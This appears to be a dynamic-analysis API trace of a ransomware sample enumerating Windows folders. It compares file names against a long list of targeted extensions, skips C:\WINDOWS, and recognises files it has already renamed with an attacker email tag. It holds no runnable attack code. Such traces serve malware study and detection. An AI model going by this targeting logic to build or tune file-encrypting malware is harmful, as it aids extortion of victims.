	[0167.467] FindNextFileW (in: hFindFile=0x6abb98, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0becc9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b0becc9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b26242a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="WINDOW~1.HTM")) returned 0
	[0167.467] FindClose (in: hFindFile=0x6abb98 | out: hFindFile=0x6abb98) returned 1
	[0167.468] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e20968 | out: hHeap=0x610000) returned 1
	[0167.468] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xf9ec381b, ftLastWriteTime.dwHighDateTime=0x1d5638a, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0167.469] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
	[0167.469] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3e20968
	[0167.469] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b0becc9, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b0becc9, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b26242a, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x11112, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows PowerShell.evtx.id-B4197730.[vip76@protonmail.co", cAlternateFileName="ꃸg\x08")) returned 0xffffffff
	[0167.608] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x3e20968 | out: hHeap=0x610000) returned 1
	[0167.608] FindNextFileW (in: hFindFile=0x6abd18, lpFindFileData=0x3b4fcf8 | out: lpFindFileData=0x3b4fcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8357eca8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8357eca8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0167.608] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x3e20968
	[0167.608] FindFirstFileW (in: lpFileName="C:\\Program Files\\*", lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8357eca8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8357eca8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x6ac3d8
	[0167.608] FindNextFileW (in: hFindFile=0x6ac3d8, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8357eca8, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8357eca8, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0167.608] FindNextFileW (in: hFindFile=0x6ac3d8, lpFindFileData=0x3b4fa7c | out: lpFindFileData=0x3b4fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0167.608] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x441a340
	[0167.609] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\*", lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2c73, dwReserved1=0x2c7f, cFileName=".", cAlternateFileName="")) returned 0x6ac418
	[0167.609] FindNextFileW (in: hFindFile=0x6ac418, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4aadd873, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2c73, dwReserved1=0x2c7f, cFileName="..", cAlternateFileName="")) returned 1
	[0167.609] FindNextFileW (in: hFindFile=0x6ac418, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2c73, dwReserved1=0x2c7f, cFileName="DESIGNER", cAlternateFileName="")) returned 1
	[0167.609] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4445fe8
	[0167.610] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa71, cFileName=".", cAlternateFileName="")) returned 0x6ac898
	[0167.611] FindNextFileW (in: hFindFile=0x6ac898, lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x4aab75fe, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0xa0417b85, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4aadd873, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa71, cFileName="..", cAlternateFileName="")) returned 1
	[0167.611] FindNextFileW (in: hFindFile=0x6ac898, lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2ae89b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b2ae89b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b2ae89b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3f6c, dwReserved0=0x0, dwReserved1=0xa71, cFileName="MSADDNDR.OLB.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MSADDN~1.HTM")) returned 1
	[0167.611] lstrlenW (lpString="MSADDNDR.OLB.id-B4197730.[vip76@protonmail.com].html") returned 52
	[0167.611] lstrlenW (lpString=".1cd") returned 4
	[0167.611] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1
	[0167.612] lstrlenW (lpString=".3ds") returned 4
	[0167.612] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1
	[0167.612] lstrlenW (lpString=".3fr") returned 4
	[0167.612] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1
	[0167.612] lstrlenW (lpString=".3g2") returned 4
	[0167.612] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1
	[0167.612] lstrlenW (lpString=".3gp") returned 4
	[0167.612] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1
	[0167.612] lstrlenW (lpString=".7z") returned 3
	[0167.612] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1
	[0167.612] lstrlenW (lpString=".accda") returned 6
	[0167.612] lstrcmpiW (lpString1=".accda", lpString2="].html") returned -1
	[0167.612] lstrlenW (lpString=".accdb") returned 6
	[0167.612] lstrcmpiW (lpString1=".accdb", lpString2="].html") returned -1
	[0167.612] lstrlenW (lpString=".accdc") returned 6
	[0167.612] lstrcmpiW (lpString1=".accdc", lpString2="].html") returned -1
	[0167.612] lstrlenW (lpString=".accde") returned 6
	[0167.612] lstrcmpiW (lpString1=".accde", lpString2="].html") returned -1
	[0167.612] lstrlenW (lpString=".accdt") returned 6
	[0167.612] lstrcmpiW (lpString1=".accdt", lpString2="].html") returned -1
	[0167.612] lstrlenW (lpString=".accdw") returned 6
	[0167.612] lstrcmpiW (lpString1=".accdw", lpString2="].html") returned -1
	[0167.612] lstrlenW (lpString=".adb") returned 4
	[0167.612] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1
	[0167.612] lstrlenW (lpString=".adp") returned 4
	[0167.612] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1
	[0167.612] lstrlenW (lpString=".ai") returned 3
	[0167.612] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1
	[0167.612] lstrlenW (lpString=".ai3") returned 4
	[0167.612] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1
	[0167.612] lstrlenW (lpString=".ai4") returned 4
	[0167.612] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1
	[0167.612] lstrlenW (lpString=".ai5") returned 4
	[0167.612] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".ai6") returned 4
	[0167.613] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".ai7") returned 4
	[0167.613] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".ai8") returned 4
	[0167.613] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".anim") returned 5
	[0167.613] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1
	[0167.613] lstrlenW (lpString=".arw") returned 4
	[0167.613] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".as") returned 3
	[0167.613] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1
	[0167.613] lstrlenW (lpString=".asa") returned 4
	[0167.613] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".asc") returned 4
	[0167.613] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".ascx") returned 5
	[0167.613] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1
	[0167.613] lstrlenW (lpString=".asm") returned 4
	[0167.613] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".asmx") returned 5
	[0167.613] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1
	[0167.613] lstrlenW (lpString=".asp") returned 4
	[0167.613] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".aspx") returned 5
	[0167.613] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1
	[0167.613] lstrlenW (lpString=".asr") returned 4
	[0167.613] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".asx") returned 4
	[0167.613] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".avi") returned 4
	[0167.613] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1
	[0167.613] lstrlenW (lpString=".avs") returned 4
	[0167.614] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1
	[0167.614] lstrlenW (lpString=".backup") returned 7
	[0167.614] lstrcmpiW (lpString1=".backup", lpString2="m].html") returned -1
	[0167.614] lstrlenW (lpString=".bak") returned 4
	[0167.614] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1
	[0167.614] lstrlenW (lpString=".bay") returned 4
	[0167.614] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1
	[0167.614] lstrlenW (lpString=".bd") returned 3
	[0167.614] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1
	[0167.614] lstrlenW (lpString=".bin") returned 4
	[0167.614] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1
	[0167.614] lstrlenW (lpString=".bmp") returned 4
	[0167.614] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1
	[0167.614] lstrlenW (lpString=".bz2") returned 4
	[0167.614] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1
	[0167.614] lstrlenW (lpString=".c") returned 2
	[0167.614] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1
	[0167.614] lstrlenW (lpString=".cdr") returned 4
	[0167.614] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1
	[0167.614] lstrlenW (lpString=".cer") returned 4
	[0167.614] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1
	[0167.614] lstrlenW (lpString=".cf") returned 3
	[0167.614] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1
	[0167.614] lstrlenW (lpString=".cfc") returned 4
	[0167.614] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1
	[0167.614] lstrlenW (lpString=".cfm") returned 4
	[0167.614] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1
	[0167.614] lstrlenW (lpString=".cfml") returned 5
	[0167.614] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1
	[0167.614] lstrlenW (lpString=".cfu") returned 4
	[0167.614] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1
	[0167.614] lstrlenW (lpString=".chm") returned 4
	[0167.614] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".cin") returned 4
	[0167.615] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".class") returned 6
	[0167.615] lstrcmpiW (lpString1=".class", lpString2="].html") returned -1
	[0167.615] lstrlenW (lpString=".clx") returned 4
	[0167.615] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".config") returned 7
	[0167.615] lstrcmpiW (lpString1=".config", lpString2="m].html") returned -1
	[0167.615] lstrlenW (lpString=".cpp") returned 4
	[0167.615] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".cr2") returned 4
	[0167.615] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".crt") returned 4
	[0167.615] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".crw") returned 4
	[0167.615] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".cs") returned 3
	[0167.615] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1
	[0167.615] lstrlenW (lpString=".css") returned 4
	[0167.615] lstrcmpiW (lpString1=".css", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".csv") returned 4
	[0167.615] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".cub") returned 4
	[0167.615] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".dae") returned 4
	[0167.615] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".dat") returned 4
	[0167.615] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1
	[0167.615] lstrlenW (lpString=".db") returned 3
	[0167.615] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1
	[0167.615] lstrlenW (lpString=".dbf") returned 4
	[0167.615] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".dbx") returned 4
	[0167.616] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".dc3") returned 4
	[0167.616] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".dcm") returned 4
	[0167.616] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".dcr") returned 4
	[0167.616] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".der") returned 4
	[0167.616] lstrcmpiW (lpString1=".der", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".dib") returned 4
	[0167.616] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".dic") returned 4
	[0167.616] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".dif") returned 4
	[0167.616] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".divx") returned 5
	[0167.616] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1
	[0167.616] lstrlenW (lpString=".djvu") returned 5
	[0167.616] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1
	[0167.616] lstrlenW (lpString=".dng") returned 4
	[0167.616] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".doc") returned 4
	[0167.616] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".docm") returned 5
	[0167.616] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1
	[0167.616] lstrlenW (lpString=".docx") returned 5
	[0167.616] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1
	[0167.616] lstrlenW (lpString=".dot") returned 4
	[0167.616] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1
	[0167.616] lstrlenW (lpString=".dotm") returned 5
	[0167.616] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1
	[0167.616] lstrlenW (lpString=".dotx") returned 5
	[0167.617] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1
	[0167.617] lstrlenW (lpString=".dpx") returned 4
	[0167.617] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".dqy") returned 4
	[0167.617] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".dsn") returned 4
	[0167.617] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".dt") returned 3
	[0167.617] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1
	[0167.617] lstrlenW (lpString=".dtd") returned 4
	[0167.617] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".dwg") returned 4
	[0167.617] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".dwt") returned 4
	[0167.617] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".dx") returned 3
	[0167.617] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1
	[0167.617] lstrlenW (lpString=".dxf") returned 4
	[0167.617] lstrcmpiW (lpString1=".dxf", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".edml") returned 5
	[0167.617] lstrcmpiW (lpString1=".edml", lpString2=".html") returned -1
	[0167.617] lstrlenW (lpString=".efd") returned 4
	[0167.617] lstrcmpiW (lpString1=".efd", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".elf") returned 4
	[0167.617] lstrcmpiW (lpString1=".elf", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".emf") returned 4
	[0167.617] lstrcmpiW (lpString1=".emf", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".emz") returned 4
	[0167.617] lstrcmpiW (lpString1=".emz", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".epf") returned 4
	[0167.617] lstrcmpiW (lpString1=".epf", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".eps") returned 4
	[0167.617] lstrcmpiW (lpString1=".eps", lpString2="html") returned -1
	[0167.617] lstrlenW (lpString=".epsf") returned 5
	[0167.618] lstrcmpiW (lpString1=".epsf", lpString2=".html") returned -1
	[0167.618] lstrlenW (lpString=".epsp") returned 5
	[0167.618] lstrcmpiW (lpString1=".epsp", lpString2=".html") returned -1
	[0167.618] lstrlenW (lpString=".erf") returned 4
	[0167.618] lstrcmpiW (lpString1=".erf", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".exr") returned 4
	[0167.618] lstrcmpiW (lpString1=".exr", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".f4v") returned 4
	[0167.618] lstrcmpiW (lpString1=".f4v", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".fido") returned 5
	[0167.618] lstrcmpiW (lpString1=".fido", lpString2=".html") returned -1
	[0167.618] lstrlenW (lpString=".flm") returned 4
	[0167.618] lstrcmpiW (lpString1=".flm", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".flv") returned 4
	[0167.618] lstrcmpiW (lpString1=".flv", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".frm") returned 4
	[0167.618] lstrcmpiW (lpString1=".frm", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".fxg") returned 4
	[0167.618] lstrcmpiW (lpString1=".fxg", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".geo") returned 4
	[0167.618] lstrcmpiW (lpString1=".geo", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".gif") returned 4
	[0167.618] lstrcmpiW (lpString1=".gif", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".grs") returned 4
	[0167.618] lstrcmpiW (lpString1=".grs", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".gz") returned 3
	[0167.618] lstrcmpiW (lpString1=".gz", lpString2="tml") returned -1
	[0167.618] lstrlenW (lpString=".h") returned 2
	[0167.618] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1
	[0167.618] lstrlenW (lpString=".hdr") returned 4
	[0167.618] lstrcmpiW (lpString1=".hdr", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".hpp") returned 4
	[0167.618] lstrcmpiW (lpString1=".hpp", lpString2="html") returned -1
	[0167.618] lstrlenW (lpString=".hta") returned 4
	[0167.619] lstrcmpiW (lpString1=".hta", lpString2="html") returned -1
	[0167.619] lstrlenW (lpString=".htc") returned 4
	[0167.619] lstrcmpiW (lpString1=".htc", lpString2="html") returned -1
	[0167.619] lstrlenW (lpString=".htm") returned 4
	[0167.619] lstrcmpiW (lpString1=".htm", lpString2="html") returned -1
	[0167.619] lstrlenW (lpString=".html") returned 5
	[0167.619] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0167.619] lstrlenW (lpString="MSADDNDR.OLB.id-B4197730.[vip76@protonmail.com].html") returned 52
	[0167.619] lstrlenW (lpString=".html") returned 5
	[0167.619] lstrcmpiW (lpString1=".html", lpString2=".html") returned 0
	[0167.619] FindNextFileW (in: hFindFile=0x6ac898, lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2ae89b, ftCreationTime.dwHighDateTime=0x1d56382, ftLastAccessTime.dwLowDateTime=0x8b2ae89b, ftLastAccessTime.dwHighDateTime=0x1d56382, ftLastWriteTime.dwLowDateTime=0x8b2ae89b, ftLastWriteTime.dwHighDateTime=0x1d56382, nFileSizeHigh=0x0, nFileSizeLow=0x3f6c, dwReserved0=0x0, dwReserved1=0xa71, cFileName="MSADDNDR.OLB.id-B4197730.[vip76@protonmail.com].html", cAlternateFileName="MSADDN~1.HTM")) returned 0
	[0167.619] FindClose (in: hFindFile=0x6ac898 | out: hFindFile=0x6ac898) returned 1
	[0167.619] HeapFree (in: hHeap=0x610000, dwFlags=0x0, lpMem=0x4445fe8 | out: hHeap=0x610000) returned 1
	[0167.619] FindNextFileW (in: hFindFile=0x6ac418, lpFindFileData=0x3b4f800 | out: lpFindFileData=0x3b4f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2c73, dwReserved1=0x2c7f, cFileName="microsoft shared", cAlternateFileName="MICROS~1")) returned 1
	[0167.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared") returned 46
	[0167.619] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Common Files\\microsoft shared") returned 1
	[0167.619] lstrlenW (lpString="microsoft shared") returned 16
	[0167.619] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="microsoft shared") returned -1
	[0167.619] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0xfffe) returned 0x4445fe8
	[0167.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared") returned 46
	[0167.619] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa71, cFileName=".", cAlternateFileName="")) returned 0x6ac458
	[0167.619] FindNextFileW (in: hFindFile=0x6ac458, lpFindFileData=0x3b4f584 | out: lpFindFileData=0x3b4f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa04663f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa71, cFileName="..", cAlternateFileName="")) returned 1
